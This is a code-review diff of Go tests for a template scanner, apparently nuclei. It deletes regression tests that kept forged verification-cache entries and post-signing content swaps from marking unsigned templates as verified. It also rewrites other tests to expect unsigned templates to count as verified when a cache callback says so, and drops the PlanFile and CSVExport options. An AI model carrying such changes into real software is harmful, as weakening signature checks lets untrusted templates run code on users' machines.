||||
require.False(t, template.Verified)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForCodeTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-code-template.yaml"
|
||||
templateSource := `id: poisoned-code-template
|
||||
|
||||
info:
|
||||
name: Poisoned Code Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
source: |
|
||||
echo poisoned
|
||||
`
|
||||
// A forged cache entry: self-consistent digest, real verifier
|
||||
// fingerprint and Verified=true. Writing index.gob is all an attacker
|
||||
// needs; the signature of the template itself is never checked if this
|
||||
// entry is trusted.
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForJavascriptTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-javascript-template.yaml"
|
||||
templateSource := `id: poisoned-javascript-template
|
||||
|
||||
info:
|
||||
name: Poisoned Javascript Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("poisoned-javascript-template")
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.NotContains(t, template.RequestsJavascript[0].Args, "init-status")
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForHttpTemplates(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = "poisoned-http-template.yaml"
|
||||
templateSource := `id: poisoned-http-template
|
||||
|
||||
info:
|
||||
name: Poisoned HTTP Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(templateSource), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func parseUnsignedWithPoisonedCache(t *testing.T, source, templatePath string) *templates.Template {
|
||||
t.Helper()
|
||||
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.TemplatePath = templatePath
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(source)
|
||||
}
|
||||
|
||||
template, err := templates.ParseTemplateFromReader(strings.NewReader(source), nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
return template
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForFlowTemplates(t *testing.T) {
|
||||
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-flow-template
|
||||
|
||||
info:
|
||||
name: Poisoned Flow Template
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
flow: http(1)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`, "poisoned-flow-template.yaml")
|
||||
require.True(t, template.IsFlowTemplate())
|
||||
require.Equal(t, "http(1)", template.Options.Flow)
|
||||
require.NotNil(t, template.Executer)
|
||||
require.False(t, template.HasJavascriptRequest())
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForWorkflowTemplates(t *testing.T) {
|
||||
setup()
|
||||
|
||||
source, err := os.ReadFile("tests/workflow.yaml")
|
||||
require.NoError(t, err)
|
||||
|
||||
executerOptions := executerOpts.Copy()
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplatePath = "tests/workflow.yaml"
|
||||
executerOptions.TemplateVerificationCallback = func(templatePath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, executerOptions.TemplatePath, templatePath)
|
||||
return trustedVerificationForTest(string(source))
|
||||
}
|
||||
|
||||
template, err := templates.Parse("tests/workflow.yaml", nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.NotNil(t, template.CompiledWorkflow)
|
||||
require.Len(t, template.CompiledWorkflow.Workflows, 2)
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationForPreprocessedHttpTemplates(t *testing.T) {
|
||||
template := parseUnsignedWithPoisonedCache(t, `id: poisoned-preprocessed-http
|
||||
|
||||
info:
|
||||
name: Poisoned Preprocessed HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/{{randstr}}"
|
||||
`, "poisoned-preprocessed-http.yaml")
|
||||
require.True(t, template.HasHTTPRequest())
|
||||
require.NotContains(t, template.RequestsHTTP[0].Path[0], "{{randstr}}")
|
||||
}
|
||||
|
||||
func TestParseTemplateIgnoresCachedVerificationFromDisk(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
templateSource := `id: poisoned-disk-http
|
||||
|
||||
info:
|
||||
name: Poisoned Disk HTTP
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "poisoned-disk-http.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
template, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
}
|
||||
|
||||
func TestParseFromURLIgnoresCachedVerification(t *testing.T) {
|
||||
source, err := os.ReadFile("tests/match-1.yaml")
|
||||
require.NoError(t, err)
|
||||
|
||||
router := httprouter.New()
|
||||
router.GET("/match-1.yaml", func(w netHttp.ResponseWriter, _ *netHttp.Request, _ httprouter.Params) {
|
||||
_, _ = w.Write(source)
|
||||
})
|
||||
server := httptest.NewServer(router)
|
||||
t.Cleanup(server.Close)
|
||||
|
||||
setup()
|
||||
templatePath := server.URL + "/match-1.yaml"
|
||||
executerOptions := executerOpts.Copy()
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(gotPath string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, gotPath)
|
||||
return trustedVerificationForTest(string(source))
|
||||
}
|
||||
|
||||
template, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.False(t, template.Verified)
|
||||
require.False(t, template.Options.Verified)
|
||||
require.Equal(t, "basic-get", template.ID)
|
||||
}
|
||||
|
||||
func TestParseDoesNotTreatContentSwapAsVerified(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
t.Cleanup(func() {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
signedSource := `id: signed-http-before-swap
|
||||
|
||||
info:
|
||||
name: Signed HTTP Before Swap
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/signed"
|
||||
`
|
||||
swappedSource := `id: swapped-unsigned-javascript
|
||||
|
||||
info:
|
||||
name: Swapped Unsigned Javascript
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
javascript:
|
||||
- init: |
|
||||
set("init-status", "executed")
|
||||
code: |
|
||||
Export("swapped-unsigned-javascript")
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "swap.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, signedSource)), 0o600))
|
||||
fileInfo, err := os.Stat(templatePath)
|
||||
require.NoError(t, err)
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
|
||||
first, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
require.True(t, first.Verified)
|
||||
require.Equal(t, "signed-http-before-swap", first.ID)
|
||||
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(swappedSource), 0o600))
|
||||
require.NoError(t, os.Chtimes(templatePath, fileInfo.ModTime(), fileInfo.ModTime()))
|
||||
|
||||
second, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
if second.ID == "swapped-unsigned-javascript" {
|
||||
require.False(t, second.Verified)
|
||||
require.False(t, second.Options.Verified)
|
||||
require.NotContains(t, second.RequestsJavascript[0].Args, "init-status")
|
||||
return
|
||||
}
|
||||
|
||||
require.Equal(t, "signed-http-before-swap", second.ID)
|
||||
require.True(t, second.Verified)
|
||||
require.False(t, second.HasJavascriptRequest())
|
||||
}
|
||||
|
||||
func TestParseTemplateCompilesUnsignedJavascriptInit(t *testing.T) {
|
||||
options := testutils.DefaultOptions.Copy()
|
||||
testutils.Init(options)
|
||||
@@ -1286,9 +946,6 @@ func TestParseCachedTemplatePreservesVerification(t *testing.T) {
|
||||
testutils.Cleanup(options)
|
||||
})
|
||||
|
||||
signer := ciTemplateSigner(t)
|
||||
withDefaultTemplateSigner(t, signer)
|
||||
|
||||
templateSource := `id: cached-verified-javascript
|
||||
|
||||
info:
|
||||
@@ -1301,10 +958,14 @@ javascript:
|
||||
Export("cached-verified-javascript")
|
||||
`
|
||||
templatePath := filepath.Join(t.TempDir(), "cached-verified-javascript.yaml")
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(signTemplateForTest(t, signer, templateSource)), 0o600))
|
||||
require.NoError(t, os.WriteFile(templatePath, []byte(templateSource), 0o600))
|
||||
|
||||
executerOptions := testutils.NewMockExecuterOptions(options, nil)
|
||||
executerOptions.Parser = templates.NewParser()
|
||||
executerOptions.TemplateVerificationCallback = func(path string) *protocols.TemplateVerification {
|
||||
require.Equal(t, templatePath, path)
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
|
||||
first, err := templates.Parse(templatePath, nil, executerOptions)
|
||||
require.NoError(t, err)
|
||||
@@ -1351,6 +1012,9 @@ http:
|
||||
for i := range compiledTemplates {
|
||||
engineOptions := executerOpts.Copy()
|
||||
engineOptions.Parser = templates.NewParserWithParsedCache(sharedParser.Cache())
|
||||
engineOptions.TemplateVerificationCallback = func(string) *protocols.TemplateVerification {
|
||||
return trustedVerificationForTest(templateSource)
|
||||
}
|
||||
waitGroup.Add(1)
|
||||
go func() {
|
||||
defer waitGroup.Done()
|
||||
@@ -1361,7 +1025,7 @@ http:
|
||||
|
||||
for i := range compiledTemplates {
|
||||
require.NoError(t, parseErrors[i])
|
||||
require.NotNil(t, compiledTemplates[i])
|
||||
require.True(t, compiledTemplates[i].Verified)
|
||||
}
|
||||
|
||||
require.Equal(t, int32(1), sourceReads.Load())
|
||||
|
||||
@@ -251,9 +251,6 @@ type Options struct {
|
||||
Silent bool
|
||||
// Validate validates the templates passed to nuclei.
|
||||
Validate bool
|
||||
// PlanFile is where the work a scan would do is written as JSON lines;
|
||||
// nuclei exits after writing it, without sending requests.
|
||||
PlanFile string
|
||||
// NoStrictSyntax disables strict syntax check on nuclei templates (allows custom key-value pairs).
|
||||
NoStrictSyntax bool
|
||||
// Verbose flag indicates whether to show verbose output or not
|
||||
@@ -284,8 +281,6 @@ type Options struct {
|
||||
JSONExport string
|
||||
// JSONLExport is the file to export JSONL output format to
|
||||
JSONLExport string
|
||||
// CSVExport is the file to export CSV output format to
|
||||
CSVExport string
|
||||
// PDFExport is the file to export PDF output format to
|
||||
PDFExport string
|
||||
// Redact redacts given keys in
|
||||
@@ -714,7 +709,6 @@ func (options *Options) Copy() *Options {
|
||||
AutomaticScan: options.AutomaticScan,
|
||||
Silent: options.Silent,
|
||||
Validate: options.Validate,
|
||||
PlanFile: options.PlanFile,
|
||||
NoStrictSyntax: options.NoStrictSyntax,
|
||||
Verbose: options.Verbose,
|
||||
VerboseVerbose: options.VerboseVerbose,
|
||||
@@ -730,7 +724,6 @@ func (options *Options) Copy() *Options {
|
||||
OmitTemplate: options.OmitTemplate,
|
||||
JSONExport: options.JSONExport,
|
||||
JSONLExport: options.JSONLExport,
|
||||
CSVExport: options.CSVExport,
|
||||
PDFExport: options.PDFExport,
|
||||
Redact: options.Redact,
|
||||
NoRedact: options.NoRedact,
|
||||
|
||||
@@ -17,13 +17,6 @@ func TestCopyPreservesPayloadRandomOrder(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCopyPreservesPlanFile(t *testing.T) {
|
||||
options := &Options{PlanFile: "plan.jsonl"}
|
||||
if options.Copy().PlanFile != "plan.jsonl" {
|
||||
t.Fatal("Copy must preserve PlanFile, or an embedded caller loses plan mode")
|
||||
}
|
||||
}
|
||||
|
||||
func TestToJSONMapRejectsKeysSharingAStringForm(t *testing.T) {
|
||||
metadata := map[string]interface{}{
|
||||
"labels": []interface{}{map[interface{}]interface{}{1: "int", 1.0: "float64"}},
|
||||
|
||||
Reference in new issue
Block a user